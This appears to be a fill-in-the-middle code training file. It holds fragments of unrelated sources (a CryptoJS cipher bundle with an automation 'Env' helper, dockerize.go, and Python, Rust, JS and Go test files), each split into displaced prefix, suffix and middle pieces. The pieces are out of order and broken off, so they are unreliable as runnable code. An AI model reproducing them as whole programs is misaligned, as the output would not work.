a=0;a<n;a++)t[e+a]^=c[a]}}),ot.Decryptor=st,ot),at=(ct=mt).lib.StreamCipher,ht=ct.algo,lt=[],ft=[],dt=[],ut=ht.Rabbit=at.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=0;r<4;r++)t[r]=16711935&(t[r]<<8|t[r]>>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c<i;c++)t[e+c]^=s[c]}}),pt.Decryptor=_t,pt),yt=(vt=mt).lib.StreamCipher,gt=vt.algo,Bt=[],wt=[],kt=[],St=gt.RabbitLegacy=yt.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt})
}
// prettier-ignore
function Env(t,e){'undefined'!=typeof process&&JSON.stringify(process.env).indexOf('GITHUB')>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e='GET'){t='string'==typeof t?{url:t}:t;let s=this.get;return'POST'===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,'POST')}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile='box.dat',this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator='\n',this.startTime=(new Date).getTime(),Object.assign(this,e),this.log('',`🔔${this.name}, 开始!`)}isNode(){return'undefined'!=typeof module&&!!module.exports}isQuanX(){return'undefined'!=typeof $task}isSurge(){return'undefined'!=typeof $httpClient&&'undefined'==typeof $loon}isLoon(){return'undefined'!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata('@chavy_boxjs_userCfgs.httpapi');i=i?i.replace(/\n/g,'').trim():i;let r=this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout');r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split('@'),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:'cron',timeout:r},headers:{'X-Key':o,Accept:'*/*'}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require('fs'),this.path=this.path?this.path:require('path');const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require('fs'),this.path=this.path?this.path:require('path');const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,'.$1').split('.');let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):'';if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,''):e}catch(t){e=''}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?'null'===o?null:o||'{}':'{}';try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require('got'),this.cktough=this.cktough?this.cktough:require('tough-cookie'),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers['Content-Type'],delete t.headers['Content-Length']),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{'X-Surge-Skip-Scripting':!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on('redirect',(t,e)=>{try{if(t.headers['set-cookie']){const s=t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers['Content-Type']&&(t.headers['Content-Type']='application/x-www-form-urlencoded'),t.headers&&delete t.headers['Content-Length'],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{'X-Surge-Skip-Scripting':!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method='POST',this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={'M+':s.getMonth()+1,'d+':s.getDate(),'H+':s.getHours(),'m+':s.getMinutes(),'s+':s.getSeconds(),'q+':Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+'').substr(4-RegExp.$1.length)));for(let e in i)new RegExp('('+e+')').test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:('00'+i[e]).substr((''+i[e]).length)));return t}msg(e=t,s='',i='',r){const o=t=>{if(!t)return t;if('string'==typeof t)return this.isLoon()?t:this.isQuanX()?{'open-url':t}:this.isSurge()?{url:t}:void 0;if('object'==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t['open-url'],s=t.mediaUrl||t['media-url'];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t['open-url']||t.url||t.openUrl,s=t['media-url']||t.mediaUrl;return{'open-url':e,'media-url':s}}if(this.isSurge()){let e=t.url||t.openUrl||t['open-url'];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=['','==============📣系统通知📣=============='];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join('\n')),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log('',`❗️${this.name}, 错误!`,t.stack):this.log('',`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log('',`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} | |
dockerize.go | package main
import (
"flag"
"fmt"
"log"
"net"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"golang.org/x/net/context"
)
type sliceVar []string
type hostFlagsVar []string
type Context struct {
}
type HttpHeader struct {
name string
value string
}
func (c *Context) Env() map[string]string {
env := make(map[string]string)
for _, i := range os.Environ() {
sep := strings.Index(i, "=")
env[i[0:sep]] = i[sep+1:]
}
return env
}
var (
buildVersion string
version bool
poll bool
wg sync.WaitGroup
templatesFlag sliceVar
templateDirsFlag sliceVar
stdoutTailFlag sliceVar
stderrTailFlag sliceVar
headersFlag sliceVar
delimsFlag string
delims []string
headers []HttpHeader
urls []url.URL
waitFlag hostFlagsVar
waitTimeoutFlag time.Duration
dependencyChan chan struct{}
ctx context.Context
cancel context.CancelFunc
waitResult map[string]bool
)
func (i *hostFlagsVar) String() string {
return fmt.Sprint(*i)
}
func (i *hostFlagsVar) Set(value string) error {
*i = append(*i, value)
return nil
}
func (s *sliceVar) Set(value string) error {
*s = append(*s, value)
return nil
}
func (s *sliceVar) String() string {
return strings.Join(*s, ",")
}
func | () {
dependencyChan := make(chan struct{})
waitResult = make(map[string]bool)
go func() {
for _, u := range urls {
log.Println("Waiting for host:", u.Host)
switch u.Scheme {
case "tcp", "tcp4", "tcp6":
waitForSocket(u.Scheme, u.Host, waitTimeoutFlag)
case "unix":
waitForSocket(u.Scheme, u.Path, waitTimeoutFlag)
case "http", "https":
wg.Add(1)
go func(u url.URL) {
defer wg.Done()
for {
client := &http.Client{}
req, _ := http.NewRequest("GET", u.String(), nil)
if len(headers) > 0 {
for _, header := range headers {
req.Header.Add(header.name, header.value)
}
}
resp, err := client.Do(req)
if err == nil && resp.StatusCode >= 200 && resp.StatusCode < 300 {
log.Printf("Received %d from %s\n", resp.StatusCode, u.String())
waitResult[u.String()] = true
return
}
}
}(u)
default:
log.Fatalf("invalid host protocol provided: %s. supported protocols are: tcp, tcp4, tcp6 and http", u.Scheme)
}
}
wg.Wait()
close(dependencyChan)
}()
select {
case <-dependencyChan:
break
case <-time.After(waitTimeoutFlag):
for _, u := range urls {
switch u.Scheme {
case "tcp", "tcp4", "tcp6", "unix":
if _, ok := waitResult[fmt.Sprintf("%s://%s", u.Scheme, u.Host)]; !ok {
log.Printf("Cannot connect to %s://%s.\n", u.Scheme, u.Host)
}
case "http", "https":
if _, ok := waitResult[u.String()]; !ok {
log.Printf("Cannot connect to %s.\n", u.String())
}
}
}
log.Fatalf("Timeout after %s waiting on dependencies to become available: %v", waitTimeoutFlag, waitFlag)
}
}
func waitForSocket(scheme, addr string, timeout time.Duration) {
wg.Add(1)
go func() {
defer wg.Done()
for {
conn, err := net.DialTimeout(scheme, addr, waitTimeoutFlag)
if err != nil {
log.Printf("Problem with dial: %v. Sleeping 5s\n", err.Error())
time.Sleep(5 * time.Second)
}
if conn != nil {
log.Printf("Connected to %s://%s\n", scheme, addr)
waitResult[fmt.Sprintf("%s://%s", scheme, addr)] = true
return
}
}
}()
}
func usage() {
println(`Usage: dockerize [options] [command]
Utility to simplify running applications in docker containers
Options:`)
flag.PrintDefaults()
println(`
Arguments:
command - command to be executed
`)
println(`Examples:
`)
println(` Generate /etc/nginx/nginx.conf using nginx.tmpl as a template, tail /var/log/nginx/access.log
and /var/log/nginx/error.log, waiting for a website to become available on port 8000 and start nginx.`)
println(`
dockerize -template nginx.tmpl:/etc/nginx/nginx.conf \
-stdout /var/log/nginx/access.log \
-stderr /var/log/nginx/error.log \
-wait tcp://web:8000 nginx
`)
println(`For more information, see https://github.com/jwilder/dockerize`)
}
func main() {
flag.BoolVar(&version, "version", false, "show version")
flag.BoolVar(&poll, "poll", false, "enable polling")
flag.Var(&templatesFlag, "template", "Template (/template:/dest). Can be passed multiple times. Does also support directories")
flag.Var(&stdoutTailFlag, "stdout", "Tails a file to stdout. Can be passed multiple times")
flag.Var(&stderrTailFlag, "stderr", "Tails a file to stderr. Can be passed multiple times")
flag.StringVar(&delimsFlag, "delims", "", `template tag delimiters. default "{{":"}}" `)
flag.Var(&headersFlag, "wait-http-header", "HTTP headers, colon separated. e.g \"Accept-Encoding: gzip\". Can be passed multiple times")
flag.Var(&waitFlag, "wait", "Host (tcp/tcp4/tcp6/http/https/unix) to wait for before this container starts. Can be passed multiple times. e.g. tcp://db:5432")
flag.DurationVar(&waitTimeoutFlag, "timeout", 10*time.Second, "Host wait timeout")
flag.Usage = usage
flag.Parse()
if version {
fmt.Println(buildVersion)
return
}
if flag.NArg() == 0 && flag.NFlag() == 0 {
usage()
os.Exit(1)
}
if delimsFlag != "" {
delims = strings.Split(delimsFlag, ":")
if len(delims) != 2 {
log.Fatalf("bad delimiters argument: %s. expected \"left:right\"", delimsFlag)
}
}
for _, host := range waitFlag {
u, err := url.Parse(host)
if err != nil {
log.Fatalf("bad hostname provided: %s. %s", host, err.Error())
}
urls = append(urls, *u)
}
for _, h := range headersFlag {
//validate headers need -wait options
if len(waitFlag) == 0 {
log.Fatalf("-wait-http-header \"%s\" provided with no -wait option", h)
}
const errMsg = "bad HTTP Headers argument: %s. expected \"headerName: headerValue\""
if strings.Contains(h, ":") {
parts := strings.Split(h, ":")
if len(parts) != 2 {
log.Fatalf(errMsg, headersFlag)
}
headers = append(headers, HttpHeader{name: strings.TrimSpace(parts[0]), value: strings.TrimSpace(parts[1])})
} else {
log.Fatalf(errMsg, headersFlag)
}
}
for _, t := range templatesFlag {
template, dest := t, ""
if strings.Contains(t, ":") {
parts := strings.Split(t, ":")
if len(parts) != 2 {
log.Fatalf("bad template argument: %s. expected \"/template:/dest\"", t)
}
template, dest = parts[0], parts[1]
}
fi, err := os.Stat(template)
if err != nil {
log.Fatalf("unable to stat %s, error: %s", template, err)
}
if fi.IsDir() {
generateDir(template, dest)
} else {
generateFile(template, dest)
}
}
waitForDependencies()
// Setup context
ctx, cancel = context.WithCancel(context.Background())
if flag.NArg() > 0 {
wg.Add(1)
go runCmd(ctx, cancel, flag.Arg(0), flag.Args()[1:]...)
}
for _, out := range stdoutTailFlag {
wg.Add(1)
go tailFile(ctx, out, poll, os.Stdout)
}
for _, err := range stderrTailFlag {
wg.Add(1)
go tailFile(ctx, err, poll, os.Stderr)
}
wg.Wait()
}
| waitForDependencies |
test_enums.py | from .utils import TestCase
from .utils import build_and_test_module
class Test(TestCase):
def test_enums(self):
build_and_test_module('enums')
def test_invalid_string_enum_member_value(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A = "s"\n',
' File "", line 3\n'
' A = "s"\n'
' ^\n'
"CompileError: invalid enum member value\n")
def test_invalid_enum_member_name(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' V1, V2 = 1\n',
' File "", line 3\n'
' V1, V2 = 1\n' | def test_invalid_enum_member_value_plus_sign(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A = +1\n',
' File "", line 3\n'
' A = +1\n'
' ^\n'
"CompileError: invalid enum member value\n")
def test_invalid_enum_member_value_variable(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A = b\n',
' File "", line 3\n'
' A = b\n'
' ^\n'
"CompileError: invalid enum member value\n")
def test_non_pascal_case_enum_member_name(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' aB = 1\n',
' File "", line 3\n'
' aB = 1\n'
' ^\n'
"CompileError: enum member names must be pascal case\n")
def test_invalid_enum_member_syntax(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' 1 + 1\n',
' File "", line 3\n'
' 1 + 1\n'
' ^\n'
"CompileError: invalid enum member syntax\n")
def test_empty_enum_type(self):
self.assert_transpile_raises(
'@enum()\n'
'class Foo:\n'
' Ab = 1\n',
' File "", line 1\n'
' @enum()\n'
' ^\n'
"CompileError: one parameter expected, got 0\n")
def test_bad_enum_type_f32(self):
self.assert_transpile_raises(
'@enum(f32)\n'
'class Foo:\n'
' Ab = 1\n',
' File "", line 1\n'
' @enum(f32)\n'
' ^\n'
"CompileError: integer type expected, not 'f32'\n")
def test_enum_float_value(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A = 1\n'
'func foo():\n'
' print(Foo(0.0))\n',
' File "", line 5\n'
' print(Foo(0.0))\n'
' ^\n'
"CompileError: cannot convert float to 'i64'\n")
def test_enum_too_many_parameters(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A = 1\n'
'func foo():\n'
' print(Foo(1, 2))\n',
' File "", line 5\n'
' print(Foo(1, 2))\n'
' ^\n'
"CompileError: expected 1 parameter, got 2\n")
def test_not_enum(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A = 1\n'
'func foo():\n'
' print(not Foo.A)\n',
' File "", line 5\n'
' print(not Foo.A)\n'
' ^\n'
"CompileError: expected a 'bool', got a 'foo.lib.Foo'\n")
def test_enum_member_value_lower_than_previous_1(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A = 0\n'
' B = -1\n',
' File "", line 4\n'
' B = -1\n'
' ^\n'
"CompileError: enum member value lower than for previous member\n")
def test_enum_member_value_lower_than_previous_2(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' A\n'
' B\n'
' C = 0\n',
' File "", line 5\n'
' C = 0\n'
' ^\n'
"CompileError: enum member value lower than for previous member\n")
def test_enum_pascal_case(self):
self.assert_transpile_raises(
'@enum\n'
'class foo:\n'
' A\n',
' File "", line 2\n'
' class foo:\n'
' ^\n'
"CompileError: enum names must be pascal case\n")
def test_enum_bad_member_syntax(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' func a(self):\n'
' pass\n',
' File "", line 3\n'
' func a(self):\n'
' ^\n'
"CompileError: invalid enum member syntax\n")
def test_use_missing_enum_value_in_print(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' Apa = 1\n'
'func foo():\n'
' print(Foo.APA)\n',
' File "", line 5\n'
' print(Foo.APA)\n'
' ^\n'
"CompileError: enum has no member 'APA'\n")
def test_use_missing_enum_value_in_comparision(self):
self.assert_transpile_raises(
'@enum\n'
'class Foo:\n'
' Apa = 1\n'
'func foo():\n'
' if Foo.APA == Foo.Apa:\n'
' pass\n',
' File "", line 5\n'
' if Foo.APA == Foo.Apa:\n'
' ^\n'
"CompileError: enum has no member 'APA'\n") | ' ^\n'
"CompileError: invalid enum member syntax\n")
|
hygiene.rs | use captures::*;
// Don't wipe the surrounding context
fn context() {
const FOO: i32 = 0;
struct Bar;
fn func() {}
let mut a = Bar;
let mut f = capture_only!(all a, || {
if FOO > 1 {
a = Bar;
func();
}
});
f();
}
// we can shadow things
fn shadow() {
let mut a = 5;
let mut f = capture_only!(all a, || {
a += 1;
a = { // 9 | };
a = if let a @ 10..=15 = a {
a + 3
} else {
a
};
a = match a {
a @ 9 => 100,
a => 50
};
});
f();
assert_eq!(a, 100);
}
fn main() {
context();
shadow();
} | let a = a;
a + 3 |
TemplateComponent.js | /**
* Template component
* explain what this class is doing
*/
export default class TemplateComponent {
constructor() {
/**
* Template component DOM selectors
* @type {{templateComponentArray: string, templateComponent: string, states: {isActive: string}}}
*/
this.DOM = {
templateComponent: ".js-template-component",
templateComponentArray: ".js-template-component-array",
states: {
isActive: "is-active",
},
};
/**
* Fetch template component DOM element
* @type {Element}
*/
this.templateComponent = document.querySelector(this.DOM.templateComponent);
/**
* Fetch template component list of DOM elements
* @type {NodeListOf<Element>}
*/
this.templateComponentArray = document.querySelectorAll(this.DOM.templateComponentArray);
}
/**
* Init
*/
init() {
if (this.templateComponent === null) {
return;
}
// if (this.templateComponentArray.length < 1) {
// return;
// }
console.log("Template component init");
this.templateMethod();
}
/**
* Template method
* explain what this method is doing
*/ | } | templateMethod() {
console.log("Template method init");
} |
test_chi_citycouncil.py | import json
from datetime import date, time
from urllib.parse import parse_qs
import pytest
from freezegun import freeze_time
from tests.utils import file_response, read_test_file_content
from city_scrapers.constants import CITY_COUNCIL
from city_scrapers.spiders.chi_citycouncil import ChiCityCouncilSpider
INITIAL_REQUEST = 'https://ocd.datamade.us/events/?' \
'start_date__gt=2017-10-16&' \
'jurisdiction=ocd-jurisdiction/country:us/state:il/place:chicago/government'
spider = ChiCityCouncilSpider()
@pytest.fixture('module')
def parsed_item():
freezer = freeze_time('2018-01-01 12:00:01')
freezer.start()
item = file_response('files/chi_citycouncil_event.json', url=INITIAL_REQUEST)
parsed = spider._parse_item(item)
freezer.stop()
return parsed
def test_parse():
response = file_response('files/chi_citycouncil_feed.json', url=INITIAL_REQUEST)
requests = list(spider.parse(response))
assert len(requests) == 2
def test_gen_requests():
test_response = json.loads(read_test_file_content('files/chi_citycouncil_feed.json'))
event_requests = [item for item in spider._gen_requests(test_response)]
assert event_requests == [
'https://ocd.datamade.us/ocd-event/86094f46-cf45-46f8-89e2-0bf783e7aa12/',
'https://ocd.datamade.us/ocd-event/93d62d20-b1dc-4d71-9e96-60c99c837e90/',
]
def test_addtl_pages():
more = json.loads(
'{"meta": {"page": 1, "per_page": 100, "total_count": 160, "count": 100, "max_page": 2}}'
)
assert spider._addtl_pages(more) is True
no_more = json.loads(
'{"meta": {"page": 1, "per_page": 100, "total_count": 2, "count": 2, "max_page": 1}}'
)
assert spider._addtl_pages(no_more) is False
def test_next_page():
more = json.loads(
'{"meta": {"page": 1, "per_page": 100, "total_count": 160, "count": 100, "max_page": 2}}'
)
original_params = parse_qs(INITIAL_REQUEST)
next_page = spider._next_page(more)
static_params = {k: v for k, v in original_params.items() if k != 'page'}
assert static_params == original_params
assert next_page == 2
def test_parse_documents():
documents = [{
"date": "",
"note": "Notice",
"links": [{
"url": (
"http://media.legistar.com/chic/meetings/633C3556-29C4-4645-A916-E767E00A98CC/"
"Notice,%2003-22-2018.pdf"
),
"media_type": "application/pdf"
}]
}]
assert spider._parse_documents(documents)[0] == {
'url': documents[0]['links'][0]['url'],
'note': "Notice"
}
# Item fields
def test_start(parsed_item):
expected_start = {'date': date(2017, 10, 16), 'time': time(10, 00), 'note': ''}
assert parsed_item['start'] == expected_start
def test_end(parsed_item):
expected_end = {'date': date(2017, 10, 16), 'time': None, 'note': ''}
assert parsed_item['end'] == expected_end
def test_name(parsed_item):
assert parsed_item['name'] == 'Joint Committee: Finance; Transportation and Public Way'
def test_description(parsed_item):
assert parsed_item['event_description'] == ""
|
def test_location(parsed_item):
expected_location = {
'address': '121 N LaSalle Dr, Chicago, IL',
'name': 'Council Chambers , City Hall'
}
assert parsed_item['location'] == expected_location
def test_documents(parsed_item):
assert parsed_item['documents'] == [{
"url":
"http://media.legistar.com/chic/meetings/B5103C52-1793-4B07-9F28-E0A1223E1540/Fin%20CANCELLED%2010-16_20171010085450.pdf", # noqa
"note": "Cancellation Notice",
}]
def test_id(parsed_item):
assert parsed_item['id'] == \
'chi_citycouncil/201710161000/ocd-event-86094f46-cf45-46f8-89e2-0bf783e7aa12/joint_committee_finance_transportation_and_public_way' # noqa
def test_all_day(parsed_item):
assert parsed_item['all_day'] is False
def test_classification(parsed_item):
assert parsed_item['classification'] == CITY_COUNCIL
def test_status(parsed_item):
assert parsed_item['status'] == 'cancelled'
def test__type(parsed_item):
assert parsed_item['_type'] == 'event'
def test_sources(parsed_item):
expected_sources = [
{
"url": "http://webapi.legistar.com/v1/chicago/events/4954",
"note": "api"
},
{
"url":
"https://chicago.legistar.com/MeetingDetail.aspx?ID=565455&GUID=B5103C52-1793-4B07-9F28-E0A1223E1540&Options=info&Search=", # noqa
"note": "web"
}
]
assert parsed_item['sources'] == expected_sources | |
consumer_test.go | package consumer
import (
"testing"
. "github.com/smartystreets/goconvey/convey"
)
var (
topic = "consumerTestTopic"
channel = "consumerTestChannel"
maxInFlight = 3
lookupdHTTPAddr = "127.0.0.1:4161"
lookupdHTTPAddrs = []string{"127.0.0.2:4161"}
destNsqdTCPAddr = "127.0.0.1:4150"
destNsqdTCPAddrs = []string{"127.0.0.2:4150"}
debug = true
)
func mgsHandle(msg *Message) {
}
func TestRegister(t *testing.T) {
Convey("Given topic, channel, maxInflight and message handler method", t, func() {
Convey("It should not produce any error", func() {
err := Register(topic, channel, maxInFlight, mgsHandle)
So(err, ShouldEqual, nil)
})
})
Convey("Given wrong topic, channel", t, func() {
Convey("It should produce an error", func() {
err := Register("", "", maxInFlight, mgsHandle)
So(err, ShouldNotEqual, nil)
})
})
}
func TestConnectLookupd(t *testing.T) {
Convey("Given lookupd address", t, func() {
Convey("It should not produce any error", func() {
err := ConnectLookupd(lookupdHTTPAddr)
So(err, ShouldEqual, nil)
})
})
Convey("Given wrong lookupd address", t, func() {
Convey("It should produce an error", func() {
err := ConnectLookupd("127.0.0.1")
So(err, ShouldNotEqual, nil)
})
})
}
func TestConnectLookupdList(t *testing.T) {
Convey("Given list of lookupd address", t, func() {
Convey("It should not produce any error", func() {
err := ConnectLookupdList(lookupdHTTPAddrs)
So(err, ShouldEqual, nil)
}) | err := ConnectLookupdList([]string{"127.0.0.2"})
So(err, ShouldNotEqual, nil)
})
})
}
func TestConnect(t *testing.T) {
Convey("Given nsqd address", t, func() {
